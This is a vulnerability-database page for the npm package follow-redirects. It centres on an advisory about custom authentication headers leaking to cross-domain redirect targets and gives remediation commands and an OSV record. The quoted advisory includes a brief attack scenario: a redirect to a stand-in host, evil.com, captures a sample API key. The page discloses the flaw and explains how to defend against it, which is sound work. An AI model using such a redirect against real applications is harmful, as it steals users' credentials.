Vulnerabilities in pkg:npm/follow-redirects

PACKAGE
Advisory Summary

GHSA-r4q5-vmmm-2653 is a MODERATE follow-redirects leaks custom authentication headers vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Follow redirects libraries in the npm ecosystem. The issue involves follow-redirects leaks custom authentication headers to cross-domain redirect targets. Remediation is available by upgrading affected packages to version 1.16.0.

5 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/follow-redirects

5 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/follow-redirects. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-r4q5-vmmm-2653 - MODERATE follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets
GHSA-jchw-25xp-jwwc CVE-2023-26159 MODERATE Follow Redirects improperly handles URLs in the url.parse() function
GHSA-cxjh-pqwp-8mfp CVE-2024-28849 MODERATE follow-redirects' Proxy-Authorization header kept across hosts
GHSA-pw2r-vq6v-hr8c CVE-2022-0536 MODERATE Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects
GHSA-74fj-2j2h-c42q CVE-2022-0155 HIGH Exposure of sensitive information in follow-redirects

GHSA-r4q5-vmmm-2653 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-r4q5-vmmm-2653
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Follow redirects
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-r4q5-vmmm-2653

To remediate this vulnerability, upgrade all affected Follow redirects dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

follow-redirects fixed: 1.16.0
npm install follow-redirects@1.16.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls follow-redirects

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-r4q5-vmmm-2653, inspect your project dependencies using npm:

npm ls follow-redirects

Analyze the terminal output to locate any version of Follow redirects in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.16.0), your application is affected.

Note: The npm ls follow-redirects command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Follow redirects, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary When an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target. Since `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem. ## Affected Code `index.js`, lines 469-476: ```javascript if (redirectUrl.protocol !== currentUrlParts.protocol && redirectUrl.protocol !== "https:" || redirectUrl.host !== currentHost && !isSubdomain(redirectUrl.host, currentHost)) { removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers); } ``` The regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched. ## Attack Scenario 1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }` 2. Server returns `302 Location: https://evil.com/steal` 3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com` 4. Attacker captures the API key ## Impact Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js. ## Suggested Fix Add a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect. ## Disclosure Source code review, manually verified. Found 2026-03-20.

GHSA-r4q5-vmmm-2653 Affected Follow redirects Versions

1 component(s)
Fixed Versions:
1.16.0
Product / Package Ecosystem Affected Versions Fixed Version
follow-redirects
npm
< 1.16.0
1.16.0

References

Frequently Asked Questions

What is GHSA-r4q5-vmmm-2653?
GHSA-r4q5-vmmm-2653 is a security vulnerability in Follow redirects involving follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Follow redirects versions are affected?
Affected versions include releases prior to 1.16.0 across affected packages: follow-redirects.
What version fixes GHSA-r4q5-vmmm-2653?
Upgrading to 1.16.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is follow-redirects affected?
Yes, follow-redirects is affected in releases prior to 1.16.0. Upgrade your dependency to 1.16.0 or later.
What CWE is associated with GHSA-r4q5-vmmm-2653?
GHSA-r4q5-vmmm-2653 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check npm dependencies for GHSA-r4q5-vmmm-2653?
Run the dependency tree command: 'npm ls follow-redirects'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r4q5-vmmm-2653",
  "modified" : "2026-04-14T01:11:11Z",
  "published" : "2026-04-14T01:11:11Z",
  "aliases" : [ ],
  "summary" : "follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets",
  "details" : "## Summary\n\nWhen an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.\n\nSince `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.\n\n## Affected Code\n\n`index.js`, lines 469-476:\n\n```javascript\nif (redirectUrl.protocol !== currentUrlParts.protocol &&\n   redirectUrl.protocol !== \"https:\" ||\n   redirectUrl.host !== currentHost &&\n   !isSubdomain(redirectUrl.host, currentHost)) {\n  removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);\n}\n```\n\nThe regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.\n\n## Attack Scenario\n\n1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }`\n2. Server returns `302 Location: https://evil.com/steal`\n3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`\n4. Attacker captures the API key\n\n## Impact\n\nAny custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.\n\n## Suggested Fix\n\nAdd a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.\n\n## Disclosure\n\nSource code review, manually verified. Found 2026-03-20.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "follow-redirects"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.16.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.15.11"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/follow-redirects/follow-redirects"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T01:11:11Z",
    "nvd_published_at" : null
  }
}